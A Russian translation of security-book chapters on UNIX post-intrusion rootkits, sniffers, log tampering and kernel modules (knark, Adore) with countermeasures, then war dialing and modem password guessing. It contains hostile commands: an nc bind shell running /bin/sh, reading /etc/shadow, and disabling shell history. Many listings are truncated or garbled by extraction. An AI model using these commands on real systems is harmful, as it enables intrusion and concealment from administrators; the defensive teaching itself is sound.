Права root получены — что дальше? Когда уровень адреналина, выброшенного при попытках получить доступ в качестве суперпользователя, возвращается к норме, у взломщика начинается реальная работа. Он будет открывать и просматривать все файлы в поисках интересующей его информации, устанавливать программы перехвата паролей регистрации, telnet, ftp, smtp и snmp, а затем начнет охоту за новой жертвой, используя ваш компьютер в качестве плацдарма. Однако все эти действия предсказуемы и, как правило, сводятся к размещению на взломанном компьютере "набора отмычек" (rootkit). Отмычки Поскольку взломанная система представляет собой ценность для злоумышленника прежде всего как плацдарм для проникновения в другие компьютеры, для него очень важно разместить на взломанной машине и как можно лучше спрятать свой "набор отмычек". Такой набор для системы UNIX обычно состоит их четырех групп инструментов, адаптированных под конкретную платформу и версию операционной системы: (1) программы типа "троянский конь", например такие, как измененные версии login, netstat и ps; (2) программы, предназначенные для создания "потайных ходов", например, вставки inetd; (3) программы перехвата потока данных в сети; (4) программы очистки системных журналов. |
Программы типа "троянский конь" После того как взломщик получит права суперпользователя, он может "троянизировать" практически любую команду операционной системы. Именно поэтому так важно проверять размер, а также дату и время создания и модификации всех двоичных файлов, особенно тех, которые используются чаще всего,— login, su, telnet, ftp, passwd, netstat, ifconfig, Is, ps, ssh, find, du, df, sync, reboot, halt, shutdown и т.д. [tsunami]! nohup nc -1 -p 222 -nw -e /bin/sh & Когда злоумышленник подключится к порту TCP 222, он увидит следующую информацию. [rumble]# nc -nw 24.8.128.204 222 Это означает, что у него имеются все права суперпользователя и он может выполнить любую операцию, для которой нужно обладать привилегиями root, как например, показанную ниже. cat /etc/shadow Количество потенциальных методов внедрения "троянских коней" зависит лишь от воображения злоумышленника (которое, как правило, является весьма богатым и изощренным). Некоторые из возможных методов более подробно описаны в главе 14. Контрмеры: защита от "троянских коней" Обнаружить программы типа "троянский конь" без соответствующих средств подчас довольно трудно. Возлагать надежды на стандартные методы, основанные на размере и дате, не приходится, поскольку опытный взломщик может создать файл, который будет иметь такой же размер, как и исходный, а также те же время и дату. Более эффективным является, например, метод, основанный на использовании программы, определяющей криптографическую контрольную сумму, с помощью которой для каждого исполняемого файла создается уникальная цифровая подпись. Эти подписи должны храниться в защищенном, недоступном для посторонних месте, например на дискете, находящейся в сейфе в специальном помещении. Программы, подобные Tripwire (http://www.tripwire.com) и MDSsum, являются одними из самых популярных в этой категории. Они позволяют записывать уникальные подписи всех программ и однозначно обнаруживать случаи модификации исполняемых файлов злоумышленниками. Очень часто администраторы пренебрегают подсчетом контрольных сумм до тех пор, пока не выявят попыток вторжения. Очевидно, что такое решение нельзя считать идеальным. К счастью, в состав некоторых систем входят пакеты, в которых изначально встроены строгие атгоритмы хэширования. Например, во многих версиях Linux используется формат RPM (RedHat Package Manager). В спецификации RPM определен также алгоритм подсчета контрольных сумм с использованием протокола MD5. Как же все эти средства помогают противостоять опасности вторжения? С помошью проверенной копии утилиты rpm можно сгенерировать запрос к пакету, который не подвергся взлому, и получить информацию о том, были ли изменены связанные с ним двоичные файлы. [@shadow]# rpm -Vvp ftp://ftp.redhat.com/pub/redhat/\ В приведенном примере /bin/Is предстаапяет собой часть пакета утилит для работы с файлами системы RedHat 6.2. Как видно из полученных данных, файл /bin/Is был изменен (5). Это означает, что контрольная сумма двоичного файла и пакета MD5 отличается. А это является верным признаком присутствия злоумышленника. Анализаторы сетевых пакетов Если злоумышленник проник в вашу систему в качестве суперпользователя — это плохо, но, возможно, еще хуже, если кто-то установил на каком-либо сетевом узле утилиту перехвата сетевых пакетов. Такие программы, называемые также анализаторами сетевых пакетов (sniffer; это название стало нарицательным от названия получившей всеобщее признание программы сетевого мониторинга, разработанной компанией Network General, которая в настоящее время является подразделением Network Associates, Inc.), можно без преувеличения назвать самыми опасными инструментами в руках злоумышленника. Это объясняется тем, что анализаторы позволяют взломщику наносить удары практически по любому компьютеру, который отправляет данные на взломанный узел, а также проникать на другие узлы сегмента локальной сети и делать с ними практически все, что заблагорассудится. Что такое анализатор сетевых пакетов Анализаторы изначально были разработаны как средство решения сетевых проблем. Они могут перехватывать, интерпретировать и сохранять для последующего анализа передаваемые по сети пакеты. Это дает возможность сетевым инженерам наблюдать за тем, как данные передаются по линиям связи, и устранять возникающие проблемы либо моделировать те или иные ситуации, наблюдая за прохождением пакетов на самом низком уровне. Ниже приведен пример перехвата пакетов — запись команд регистрации пользователя guest с паролем guest в сети. -----[SYN] (slot 1) Как и многие другие мощные средства, изначально предназначавшиеся для администрирования, с течением времени анализаторы стали применяться совсем для других целей. Можно только представить, сколько важных данных проходит за день по загруженной сети! Среди таких данных — пользовательские имена и пароли, конфиденциальные сообщения электронной почты, файлы, содержащие личную информацию, деловые отчеты и т.д. Так или иначе, если информация такого рода передается по сети, она преобразуется в биты и байты, которые с помощью анализатора могут видеть взломщики, подключившиеся в любой точке маршрута прохождения данных от отправителя до получателя. Как работают анализаторы Самый простой метод ознакомления с принципами работы анализаторов состоит в изучении тех анализаторов, которые ориентированы на сеть Ethernet. Конечно, анализаторы существуют практически для всех типов сетей, но, поскольку архитектура Ethernet является самой распространенной, давайте сосредоточимся именно на ней. Те же самые принципы, как правило, применимы и к сетям с другой архитектурой. Популярные анализаторы В табл. 8.2 приведен не претендующий на полноту перечень инструментальных средств, с которыми нам приходилось сталкиваться и работать чаще всего на протяжении всех тех лет, которые мы посвятили деятельности по оценке уровня безопасности сетей. Таблица 8.2. Популярныебесплатные анализаторы сетевых пакетов для UNIX
Контрмеры: защита от анализаторов Существует три основных подхода к защите от анализаторов, которые могут быть внедрены в вашу сеть или уже внедрены в нее. Обнаружение анализаторов Существует два основных подхода к обнаружению анализаторов — на уровне узла и на уровне сети. На уровне узла самый простой метод заключается в определении того, работает ли сетевой адаптер системы в промискуитетном режиме. В системе UNIX для ответа на этот вопрос можно воспользоваться несколькими программами, включая программу Check Promiscuous Mode (cpm), разработанную специалистами университета Carnegie Mellon University (эту программу можно найти по адресу ftp://info.cert.org/pub/tools/). Шифрование (SSH, IPSec) Давно известным методом борьбы с прослушиванием сетей является шифрование. Только шифрование на уровне получателя и отправителя может обеспечить уровень практически полной конфиденциальности. Необходимая длина ключа должна определяться на основании того, как долго данные остаются важными. Короткие ключи (длиной до 40 бит) допустимо использовать для шифрования потоков данных только в тех случаях, когда данные быстро устаревают. Кроме того, применение коротких ключей позволяет повысить производительность. Очистка системных журналов Не желая предоставлять вам (а тем более — правоохранительным органам) каких-либо сведений о факте получения доступа к системе, взломщик, как правило, постарается очистить системные журналы от следов своего присутствия. В настоящее время существует много утилит очистки журналов, которые в большинстве случаев входят в набор отмычек. К таким программам, в частности, относятся zap, wzap, wted и remove. Однако обычно вполне достаточно даже простого текстового редактора, такого как vi или emacs. [quake]# cat /etc/syslog.conf Обладая этой информацией, злоумышленнику достаточно просмотреть содержимое каталога /var/log, чтобы найти в нем основные файлы журналов. Выведя на экран содержимое каталога, мы найдем в нем файлы журналов всех типов, включая сгоп, maillog, messages, spooler, secure (журналы TCP-оболочек), wtmp и xf erlog. [quake]# who./wtmp Как видно из приведенного листинга, в новом журнале (файл wtmp.out) пользователь joel отсутствует. Теперь осталось скопировать файл wtmp.out поверх файла wtmp, и взломщик сможет скрыть факт своего присутствия в системе. Некоторые программы, такие как zap (для SunOS 4.x), на самом деле меняют лишь время последней регистрации в системе (эту информацию можно увидеть, например, обратившись с запросом finger и указав в качестве параметра имя интересующего вас пользователя). Теперь осталось вручную (точнее с помощью редактора, такого как vi или emacs) модифицировать файлы журналов secure, messages и xferlog, чтобы удалить последние следы своего пребывания в системе. tail -f /var/log/messages Вооружившись простым текстовым редактором, взломщик может удалить все эти записи. Затем, воспользовавшись командой touch, он наверняка восстановит дату и время последнего доступа к файлу. Однако обычно взломщики отключают режим регистрации вводимых команд с использованием соответствующего режима командной оболочки. unset HISTFILE; unset SAVEHIST Кроме того, взломщик может создать ссылку .bash_history на файл /dev/null. [rumble]# In -s /dev/null ~/.bash_history Контрмеры: защита от очистки журналов Файлы журналов очень важно сохранять на таком носителе, на котором их трудно было бы модифицировать. К таким носителям, в частности, относятся файловые системы, поддерживающие расширенные атрибуты, такие как флаг "только для добавления" (append-only). Таким образом, в каждый файл журнала будет только дописываться новая информация, и злоумышленники не смогут ее изменить. Однако это вовсе не панацея, поскольку существует вероятность того, что при наличии времени, желания и соответст-вуюшего опыта злоумышленник сможет обойти этот механизм. Второй метод заключается в регистрации важных событий на защищенном узле. Одним из примеров реализации такого подхода является применение безопасной утилиты syslog компании Core Labs (http://www.core-sdi.com/english/freesoft.html). В этой утилите алгоритмы шифрования используются наряду с возможностью удаленной регистрации событий, что позволяет защитить самые важные журналы. Помните, что если злоумышленнику удалось проникнуть в вашу систему, то к имеющимся журналам нужно относиться с осторожностью, поскольку ему ничего не стоит их подделать. "Наборы отмычек" для модификации ядра В предыдущих разделах были рассмотрены традиционные "наборы отмычек", с помощью которых можно модифицировать определенные файлы взломанной системы, а затем разместить в ней программы типа "троянский конь". В настоящее время такие средства несколько устарели. Современные и гораздо более разрушительные варианты "наборов отмычек" могут функционировать на уровне самого ядра операционной системы. Такие "наборы отмычек" позволяют модифицировать выполняющееся ядро UNIX и, таким образом, вводить в заблуждение все системные программы без модификации самих программ. [shadow]# /sbin/insmod knark.о После этого на экране появится информация о загрузке модуля. [shadow]# /sbin/lsmod Как видно из приведенного фрагмента, модуль ядра knark был успешно загружен. Кроме того, очевидно, что системному администратору не составит труда обнаружить этот модуль. Поэтому абсолютно закономерно, что взломщик захочет оставить свою деятельность незамеченной. Для того чтобы удалить данные о модуле knark из результатов, предоставляемых утилитой Ismod, злоумышленники могут воспользоваться модулем modhide.o (еще одним компонентом пакета knark) [shadow]#/sbin/insmod modhide.o Теперь, после повторного запуска утилиты Ismod, модуль knark таинственным образом "исчезнет" из поля зрения администратора.
[shadow]$ rootme /bin/sh Группа программистов и специалистов по вопросам безопасности Teso разработала еще один вариант ятра под названием Adore, который можно найти по адресу http://teso.scene, at/releases/adore-0 .14. tar. gz. По возможностям эта программа не уступает пакету knark. Ниже представлены некоторые параметры командной строки. [shadow]$ ava Если приведенных выше сведений оказалось недостаточно, то прочитайте статью Сильвио Чезаре (Silvio Cesare), в которой рассматриваются аналогичные средства, позволяющие "на лету" модифицировать выполняющееся в оперативной памяти ядро в системах с "потайным ходом", в которых отсутствует поддержка модулей LK.M. Эту статью и описываемые в ней средства можно найти по адресу http://www.big.-net.au/~silvio/runtime-kernel-kmem-patching.txt. И наконец, Джоб Де Хаас (Job De Haas) выполнил огромную работу по исследованию методов взлома ядра системы Solaris. Часть написанного им кода можно найти по адресу http://www. itsx.com/kernmod-0.2.tar.gz. Контрмеры: защита от средств модификации ядра Как следует из приведенных сведений, "наборы отмычек" для модификации ядра могут оказаться чрезвычайно разрушительными и трудными для выявления. При этом в процессе обнаружения таких средств нельзя доверять ни одной программе и даже самому ядру. В случае взлома ядра окажутся бесполезными и утилиты подсчета контрольных сумм, такие как Tripwire. Одним из возможных способов обнаружения пакета knark заключается в использовании самого пакета. Поскольку с его помощью взломщик может скрыть любой процесс, воспользовавшись командой kill -31 и указав его идентификатор PID, ничто не мешает сделать любой процесс снова видимым. Для этого можно воспользоваться командой kill -32. Вот простой сценарий оболочки, который передает этот сигнал каждому процессу. # ! /bin/sh rm pid S=l He забывайте о том, что kill -31 и kill -32 являются настраиваемыми командами пакета knark. Так что опытный взломщик может изменить эти параметры, чтобы избежать обнаружения своей деятельности. Однако вместе с тем вполне возможно, что другие злоумышленники воспользуются параметрами, заданными по умолчанию.
Программа LIDS представляет собой модуль обновления ядра. Ее необходимо применять к существующему исходному коду ядра, который затем должен быть перестроен. После установки LIDS воспользуйтесь командой lidsadm, чтобы защитить ядро от возможных манипуляций с загружаемыми модулями. Вот что произойдет после установки программы LIDS, если попытаться запустить утилиту knark. [shadow]# insmod knark.о После анализа файла журнала /var/log/messages становится очевидным, что программа LIDS позволяет не только выявить попытку загрузки модуля, но и практически их предотвращает. Jul 9 13:32:02 shadow kernel: LIDS: При использовании систем, отличных от Linux, нужно рассмотреть возможность отключения поддержки модулей LKM, что позволит обеспечить более высокий уровень безопасности. Конечно, подобный подход является не очень элегантным, однако он все же позволит предотвратить попытки применения описанных выше средств. |
Восстановление системы после использования "набора отмычек" Поскольку мы не можем предоставить исчерпывающее описание процедур выявления описанных вторжений, очень важно хотя бы упомянуть о различных мерах, к которым нужно прибегнуть в том случае, если прозвучит зловещий звонок. У вас может возникнуть вопрос: о каком звонке идет речь? Это может произойти примерно следующим образом. "Здравствуйте, я такой-то системный администратор. У меня имеются причины считать, что с ваших компьютеров предпринимаются попытки нападения на нашу сеть." "Этого не может быть, все выглядит абсолютно нормально", — отвечаете вы. Ваш собеседник говорит, что все проверит еще раз, а затем перезвонит еще раз. Так что у вас возникает специфическое ощущение, что позвонить мог лишь администратор, которым и была предпринята попытка взлома. Вам требуется определить, как и что произошло. Оставьте в стороне свое спокойствие и считайте, что любое выполняемое вами в системе действие может повлиять на возможность выявления вторжения. Даже при простом просмотре файла можно изменить время последнего доступа к нему. Для того чтобы не усугубить ситуацию случайными действиями, хорошо сразу же создать набор средств со статически скомпонованными двоичными файлами, а затем сравнить их с аналогичными файлами от поставщика программного обеспечения. Использовать статически скомпонованные двоичные файлы абсолютно необходимо, поскольку злоумышленники могли модифицировать совместно используемые файлы библиотек. Все эти действия должны быть выполнены до возникновения самого инцидента. Набор стандартных статически скомпонованных программ нужно поместить на гибкий диск или компакт-диск. В такой набор как минимум должны входить следующие утилиты. ls su dd Имея под рукой такой набор, очень важно сохранить три значения времени, связанных с каждым файлом системы UNIX. К таким значениям относится последнее время доступа, время последней модификации и время создания. Указанную информацию проще всего получить с использованием следующих команд, а затем сохранить полученные данные на гибком диске или другом внешнем носителе. Is -alRu > /floppy/timestamp_access.txt Полученные результаты лучше всего просматривать автономно, без обращения к "подозрительной" системе. В большинстве случаев вы столкнетесь с "набором отмычек", который, возможно, был установлен с параметрами, заданными по умолчанию. В зависимости от установленного "набора отмычек" вы можете увидеть множество входящих в их состав утилит, сообщений о программах-анализаторах, содержащихся в файлах журналов, и т.д. Это позволит предположить, что вы имеет дело с "набором отмычек", не использующимся для модификации ядра. Все доказательства таких изменений основываются на получении надежных результатов при выполнении приведенных выше команд. При выполнении исследований в системе Linux воспользуйтесь безопасным загрузочным носителем, например с комплектом Trinux (http://www.trinux.org). Это позволит получить достаточно много информации, чтобы попытаться определить, была ли ваша система инфицирована "набором отмычек". Имея под рукой все собранные данные, обратитесь к следующим ресурсам, чтобы точно определить, что же все-таки изменилось в системе и каким образом был выполнен взлом. Очень важно собрать данные о том, какие именно команды запускались и какие при этом результаты были получены. |
Резюме Как мы увидели из нашего исследования, UNIX — это сложная система, для адекватной защиты которой необходимо предпринимать целый ряд комплексных мероприятий. Мощь и элегантность UNIX обеспечивают ее популярность, однако они же являются и причиной ее уязвимости. Мириады методов удаленного и локального взлома позволяют злоумышленникам нарушать подсистему безопасности даже самых защищенных систем UNIX. Чуть ли не ежедневно обнаруживаются новые методы взлома путем переполнения буфера. Программисты мало задумываются о безопасности, а средства обнаружения несанкционированных действий устаревают практически в течение нескольких недель. Между хакерами и администраторами идет не прекращающаяся ни на минуту битва, в которой одни попытаются приблизить, а вторые — отдалить "день зеро". В табл. 8.3 приведен перечень дополнительных ресурсов, которые могут помочь вам обрести душевный покой (во всяком случае, на некоторое время). Таблица 8.3. Дополнительные ресурсы безопасности системы UNIX
|
Глава 9. УЯЗВИМОСТЬ УДАЛЕННЫХ СОЕДИНЕНИЙ, РВХ, VOICEMAIL И ВИРТУАЛЬНЫХ ЧАСТНЫХ СЕТЕЙ
|
Уязвимость удаленных соединений, PBX, VOICEMAIL и виртуальных частных сетей Обычно организации меньше всего внимания уделяют старым забытым телефонным линиям. Эти провода, опоясавшие весь мир, сегодня преданы забвению. В этой главе будет показано, как старенький модем с пропускной способностью 9600 Кбит в секунду может поставить на колени сетевого Голиафа с мошной системной защитой. Предварительный сбор данных о телефонных номерах Хакинг удаленных соединений начинается с определения диапазона телефонных номеров, с которыми будет работать сканер. Настоящие хакеры обычно выбирают компанию-жертву и собирают информацию об используемых ею телефонных номерах из самых разных источников. Ниже будут описаны некоторые механизмы для ограничения сферы распространения такой информации. Registrant: Acme, Incorporated (ACME-DOM) Теперь хакеры имеют не только хорошую отправную точку для работы сканера телефонных номеров, но и кандидатуру сотрудника (John Smith) под именем которого можно осуществлять свою деятельность по сбору дополнительной информации. Помимо этого некоторую полезную информацию можно почерпнуть из раздела технических контактов. А именно здесь видно, как информация фиксируется в базе данных InterNIC. Это уже кое-что. Устраните утечку информации Лучшей защитой против предварительного сбора информации по телефону является предотвращение утечки информации. Конечно же, для обеспечения возможности деловых контактов необходимо раздавать телефонные номера компании, но очень осторожно. Свяжитесь со своим оператором и согласуйте с ним перечень открытых телефонных номеров, список лиц, имеющих доступ к закрытой информации, а также пароль для получения каких-либо закрытых данных. Организуйте группу по устранению утечки информации из числа сотрудников отдела информатизации, которая будет следить за тем, чтобы закрытые телефонные номера не распространялись через Web-узлы, службы каталогов, серверы удаленного доступа и т.д. Свяжитесь с компанией InterNIC и "почистите" контактную информацию для зоны Internet. И наконец, предупредите пользователей, что телефон не всегда друг, поэтому нужно быть проявлять осторожность в разговорах с незнакомцами и не разглашать никакую закрытую информацию. Сканеры телефонных номеров Процесс подбора телефонных номеров во многом определяется используемыми для этого средствами. Поэтому далее будут охарактеризованы конкретные продукты, такие как ToneLoc, THC-Scan и PhoneSweep, Однако сначала приведем некоторые общие рассуждения. Аппаратные средства При подборе телефонных номеров вопрос выбора аппаратных средств не менее важен, чем выбор программного обеспечения. Ниже мы рассмотрим два бесплатных программных средства, предназначенных для операционной системы DOS и снискавших незаслуженную репутацию трудно настраиваемых. Однако для настройки любой программы автопрозвона требуется тонкое знание СОМ-портов компьютера, а на некоторых аппаратных конфигурациях эти программы могут не работать вообще, например на переносном компьютере с интерфейсом PCMCIA. Конечно же, не стоит переоценивать требования к аппаратным средствам: типичный персональный компьютер с двумя стандартными СОМ-портами и последовательной платой для добавления еще двух вполне подойдет для этих целей. В то же время, для профессиональной системы автопрозвона можно установить многопортовую карту Digitboard, позволяющую подключить к системе от 4 до 8 модемов одновременно. Легализация деятельности Наряду с вопросами выбора аппаратной платформы для подбора номеров потенциальные взломщики серьезно рассматривают вопросы законности своей деятельности. В некоторых странах запрещено последовательно набирать большое число номеров, и телефонные компании внимательно следят за соблюдением этого требования, а зачастую их оборудование попросту не позволяет этого делать. Конечно же, все рассматриваемые здесь программы разбивают заданный диапазон номеров на случайные интервалы, чтобы избежать нарушения таких требований, но это все же не гарантирует от попадания в "черный список". Поэтому специалисты, занимающиеся подобной деятельностью на законных основаниях, должны легализовать свои действия и получить письменное разрешение от компании-заказчика на проведение такого тестирования. В этом документе необходимо указать диапазон сканируемых телефонных номеров, чтобы возложить ответственность за выход из диапазона на выполняющую подбор номера организацию. Помните, что сканирование телефонных номеров с включенным идентификатором CallerlD, означающим возможность автоматического определения номера, равнозначно передаче визитной карточки по каждому из набираемых вами номеров. Многократное повторение звонков из одного источника вызовет подозрение у целевой компании, поэтому стоит отключить режим автоматического определения номера на своей телефонной линии (конечно же, если у вас есть разрешение на подобную деятельность, то это не критично). Не следует забывать и том, что при звонках по номерам с префиксом 800 номер звонившего фиксируется в любом случае независимо от статуса CallerlD, поскольку в этой ситуации разговор оплачивается отвечающей стороной.
Стоимость телефонных переговоров И наконец, не забывайте о том, что подбор номеров удаленных целевых организаций оплачивается по междугородному тарифу телефонных переговоров. Поэтому приготовьтесь к получению значительных счетов за телефонные переговоры и заранее согласуйте вопрос их оплаты с заказчиком. Программное обеспечение Поскольку сканирование телефонных номеров обычно выполняется ночью в течение небольших интервалов времени, то важным требованием к соответствующим программам является возможность гибкой настройки графика работы и запоминания уже отсканированных номеров. Бесплатные программы ToneLoc и THC-Scan регулярно сохраняют результаты своей работы в файлах данных, обеспечивая тем самым возможность продолжения работы после последующего перезапуска. Кроме того у них есть определенные средства для задания времени начала и окончания работы в течение одних суток. Однако для выполнения длительных операций сканирования в течение нескольких дней пользователь должен полагаться на возможности операционной системы по планированию выполнения заданий или написать специальный сценарий. Программа PhoneSweep позволяет полностью автоматизировать режим работы. Программа ToneLoc Одной из первых и наиболее популярных программ телефонного сканирования является утилита ToneLoc компании Minor Threat&Mucho Maas (название ToneLoc расшифровывается как Tone Locator). Эту программу можно найти на узле компании, а также на множестве хакерских узлов в Internet. Подобно многим программам-номеронабирателям, ToneLoc работает под управлением DOS (или в окне DOS операционной системы Win 9x или NT), а также с эмулятором DOS в UNIX. В течение многих лет эта утилита являлась эффективным средством для хакеров и консультантов по безопасности. К сожалению, создатели ToneLoc не следят за обновлением своей программы, и никто из сообщества специалистов по безопасности не принимал участия в ее разработке. Поэтому для оценки защищенности Web-узла лучше использовать более робастную программу THC-Scan. ToneLoc [ФайлДанных] /М:[Маска] /R:[Диапазон] Как будет видно из последующего материала, утилита THC-Scan использует очень близкий список параметров. В приведенном ниже примере утилита ToneLoc будет сканировать все телефонные номера от 555-0000 до 555-9999 и записывать информацию в файл test. На рис. 9.2 показана программа ToneLoc в действии. Программа THC-Scan Слабые стороны утилиты ToneLoc компенсирует программа THC-Scan, созданная членом хакерской группы The Hacker's Choice из Германии Ван Хаузером (van Hauser) (http://www.infowar.co.uk/thc/). Подобно ToneLoc, утилита THC-Scan тоже настраивается и запускается в операционной системе DOS, в окне DOS Win 9x или с консоли Windows NT, а также с использованием эмулятора Dos под UNIX.
Перед использованием утилиты THC-Scan сначала с помощью программы TS-CFG необходимо сгенерировать файл конфигурации (. CFG). Эта утилита конфигурации имеет более широкие возможности, чем программа TLCFG для ToneLoc. Большинство параметров конфигурации достаточно просты, но для нестандартной настройки потребуются исчерпывающие знания СОМ-портов. Основные параметры конфигурации перечислены в следующей таблице
Для определения этих параметров применяется утилита MOD-DET, включенная в комплект поставки THC-Scan (на сообщения Windows об ошибках можно не обращать внимания), результат работы которой выглядит следующим образом. MODEM DETECTOR v2.00 (c) 1996,98 by van Hauser/THC После создания файла конфигурации . CFG можно приступать к сканированию телефонных номеров. Синтаксис команды THC-Scan очень напоминает формат ToneLoc и имеет лишь несколько отличий. (Перечень возможных параметров слишком велик, поэтому здесь он приводиться не будет. Его можно найти в четвертой части руководства THC-SCAN.DOC, входящего в комплект поставки программы.) Даже в процессе работы THC-Scan очень напоминает утилиту ToneLoc (рис. 9.3).
Установка режима сканирования выполняется вручную с помощью ключей /s и /Е, задающих время начала и окончания процесса соответственно. Для повторения этого процесса каждый день нужно использовать встроенные средства планирования заданий операционной системы, например команду AT службы Scheduler системы Windows NT. Авторы книги обычно записывают параметры запуска THC-Scan в простой командный файл, который затем вызывается программой AT Scheduler. При планировании графика работы утилиты THC-SCAN.EXE необходимо помнить, что соответствующий файл конфигурации . CFG обязательно должен находиться в текущем каталоге, если не задана опция /!. Поскольку служба Scheduler запускает команды из каталога %systemroot%, для файла конфигурации утилиты THC-SCAN.EXE необходимо задать абсолютный путь, как показано в следующем примере. @@echo off После запуска этого командного файла утилита THC-Scan будет выполнять сканирование с 8 часов вечера до 6 часов утра. С помощью следующей команды можно обеспечить ежедневный запуск утилиты: at 7:58P /interactive /every:1 C\:thc-scan\bin\thc.bat Утилита THC-Scan создает файл данных . DAT и считывает из него информацию за предыдущие дни до тех пор, пока не отсканирует все номера диапазона. Не забудьте удалить всю информацию, оставшуюся после завершения работы утилиты THC-Scan, с помощью команды at /delete. ^~^~^~^~^~^M^~^M?^M^~help^M^~^~^~guest^M^~guest^М^~INFO^M^MLO (^~ означает паузу, а ^М — возврат каретки). Стандартный текст сообщения во многих случаях работает достаточно хорошо, но для достижения конкретной цели этот текст можно изменить. Программа PhoneSweep Если, с вашей точки зрения, использование утилиты THC-Scan требует слишком больших усилий, то вам подойдет программа PhoneSweep. Эту программу распространяет компания Sandstorm Enterprises (http://www.sandstorm.net). Вопросам установки и использования бесплатных программ телефонного сканирования было уделено достаточно много внимания. Рассказ о PhoneSweep будет значительно короче, поскольку практически все понятно из самого интерфейса пользователя (рис. 9.4).
Помимо выявления стандартных модемов, утилита PhoneSweep позволяет реализовывать типичные атаки против них. В текстовом файле bruteforce.txt, расположенном в каталоге приложения, содержится перечень имен пользователей и паролей, которые передаются в ответ на приглашение модема. Если соединение разрывается, утилита PhoneSweep снова набирает номер и пробует воспользоваться следующим вариантом отклика, пока не будет исчерпан весь список (используя эту утилиту для тестирования защищенности своего сервера удаленного доступа, остерегайтесь возможности блокирования учетной записи). Одно только это средство стоит денег, затраченных на покупку PhoneSweep, поскольку позволяет автоматизировать операции. которые обычно выполняются вручную (см. следующий раздел).
Интересные результаты сравнения программ PhoneSweep и THC-Scan, полученные, из заинтересованного источника — от компании Sandstorm Enterprises, Inc., можно найти по адресу http: //geek-girl. com/bugtraq/1998_4/0770 .html. Способы проникновения в систему через модем Сканирование телефонных номеров преследует цель выявить потенциальные точки для последующего вторжения в систему через модемное соединение, однако чаще всего для определения степени уязвимости удаленного соединения требуется внимательный анализ отчетов. Например, из следующего фрагмента файла CARRIERS . LOG, сгенерированного утилитой THC-Scan, видны типичные отклики модемов. Для краткости этот файл несколько подредактирован. Подобные данные содержатся и в приложении А отчета утилиты PhoneSweep. 23-05-1997 14:57:50 Dialing... 95552851 Авторы умышленно выбрали эти примеры, чтобы показать неоценимое значение опыта работы с различными серверами удаленных соединений и операционными системами. Например, первый отклик, похоже, поступил от системы HP (HP995-40C), однако последующая строка с информацией о команде HELLO выглядит странновато. При установке соединения с этой системой вручную с помощью стандартного программного обеспечения (авторы книги предпочитают программу Procomm Plus, распространяемую компанией Symantec Corp, и представленную по адресу http://www.Symantec, соm/рrосоrоm/procomm.html, поскольку с ее помощью можно эмулировать терминал VT-100 на основе протокола ASCII) пользователя ожидает столь же непонятный результат. Для прояснения ситуации взломщик должен быть знаком с системами МРЕ-XL от Hewlett-Packard и знать, что в ответ на приглашение нужно ввести команду HELLO имя. ПОЛЬЗ, а затем пароль. Поэтому имеет смысл воспользоваться утилитой Procomm Plus и ввести следующую информацию. CONNECT 57600 В качестве имени пользователя и пароля в HP-системах по умолчанию применяются FIELD. SUPPORT и TeleSup соответственно. Таким образом, при наличии богатого опыта и затрате минимальных усилий можно выявить бреши в таких местах, где неподготовленные пользователи обнаружат лишь непробиваемую стену. Доморощенный способ: примитивное написание сценариев После получения результатов сканирования телефонных номеров нужно систематизировать их в так называемые домены (domain). Как уже отмечалось, неоценимую помощь в этом окажет опыт работы с различными типами серверов удаленных соединений и операционных систем. Выбор системы для последующего проникновения зависит от множества факторов, в том числе от того, сколько времени хакер готов посвятить своим экспериментам, какая полоса пропускания имеется в его распоряжении, а также от его интуиции и профессионализма в написании сценариев.
Получив эту информацию, можно приступать к систематизации соединений в так называемые домены для проникновения по телефонным линиям. Для иллюстрации рассмотрим четыре категории соединений или домена для дальнейшего проникновения. При этом сразу же исключим из рассмотрения так называемый домен ЛДП (легко доступный плод). Остальные домены основаны на различных механизмах аутентификации и ограничении числа попыток доступа к этим механизмам. В целом домены можно классифицировать следующим образом.
В целом чем ниже в списке находится домен, тем сложнее проникнуть в относящуюся к нему систему, и тем более сложные сценарии требуется для этого применять. Рассмотрим эти домены подробнее. Легко доступный плод Для проникновения в систему, относящуюся к этому домену, требуется минимум усилий. Если хакер удачлив — его неминуемо ждет успех. Для проникновения в систему не требуется писать никаких сценариев — нужно лишь угадать идентификатор пользователя или пароль. В книге нельзя перечислить все типичные идентификаторы и пароли. Угадать эту информацию поможет опыт и интуиция. Хорошей отправной точкой в этом процессе может послужить идентификация подписи. В табл. 10.3 следующей главы приводится полезный список, с которого можно начать дальнейшие исследования. Однако каким бы списком ни воспользовался читатель, главное — быстро проверить все применяемые по умолчанию варианты и в случае неудачи перейти к следующему типу домена. Одинарная идентификация, неофаниченное число попыток Это первый серьезный домен (ЛДП не в счет), который зачастую труднее всего идентифицировать. Дело в том, что многие системы, которые, на первый взгляд, принадлежат этому домену (листинг 9.1 А), после ввода корректного идентификатора требуют повторной аутентификации (листинг 9.1 Б). Пример системы, действительно относящейся к этой категории, приводится в листинге 9.2. Эта система использует один механизм аутентификации и допускает неограниченное число попыток установки соединения. XX-Jul-XX 09:51:08 91ХХХ5551234 Листинг 9.1 Б. Пример изменения поведения системы после ввода корректного идентификатора пользователя или пароля XX-Jul-XX 09:55:08 91ХХХ5551234 В следующем примере система действительно относится к первому домену, поскольку для получения доступа к ней требуется только ввести пароль. Заметим также, что эта система допускает неограниченное число попыток установки соединения. Для проникновения в такую систему нужно запустить сценарий подбора пароля. XX-Jul-XX 03:45:08 91ХХХ5551235 Для проникновения в систему, представленную в этом примере, нужно написать сценарий, который выполнялся бы простыми утилитами DOS. Приведенный ниже фрагмент — это не сложная программа, а простой пример сценария, повторяющего попытки регистрации до тех пор, пока не будет исчерпан его словарь. Как уже отмечалось, при написании сценариев для модемных соединений чаще всего применяется программа Procomm Plus со встроенным языком сценариев ASPECT. Система Procomm Plus известна уже в течение многих лет и хорошо зарекомендовала себя при тестировании как на ранних версиях DOS, так и на новейших версиях 32-разрядных операционных систем. Следует отметить также прекрасную справочную систему и документацию по языку ASPECT. OPEN "5551235.was" FOR OUTPUT AS #2 Файл словаря может содержать любое количество типичных паролей, например: apple и т.д. Поскольку сценарий предназначен для подбора паролей, перед началом его выполнения нужно открыть файл журнала регистрации событий. Тогда весь процесс работы сценария будет фиксироваться в файле. Позднее содержимое файла журнала можно проанализировать и определить правильный пароль. На первый взгляд, может показаться, что журнал регистрации вовсе не нужен. Достаточно просто выполнять сценарий до успешной попытки (получения корректного пароля). Однако это невозможно, поскольку заранее нельзя определить, что произойдет после ввода корректного пароля, т.е. нельзя сформулировать условие успешной попытки. Если же известно, к какому результату должен привести ввод корректного пароля, то в файле 